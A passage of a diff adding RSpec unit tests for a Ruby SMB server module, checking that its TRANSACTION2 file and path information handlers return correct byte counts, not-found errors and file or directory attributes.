"returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file fid" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_file_info_basic(client, file_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder fid" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_file_info_basic(client, folder_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end + + describe "#smb_cmd_trans_query_file_info_standard" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length) + end + + it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do + mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + + describe "#smb_cmd_trans_query_path_info_basic" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_basic(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_basic(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end + + describe "#smb_cmd_trans_query_path_info_standard" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length) + end + + it "sends a TRANSACTION2 response with the Directory field unset" do + mod.smb_cmd_trans_query_path_info_standard(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['Directory']).to eq(0) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length) + end + + it "sends a TRANSACTION2 response with the Directory field set" do + mod.smb_cmd_trans_query_path_info_standard(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['Directory']).to eq(1) + end + end + end + + + describe "#smb_cmd_trans_query_path_info_network" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_network(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_network(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_network(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end +end + +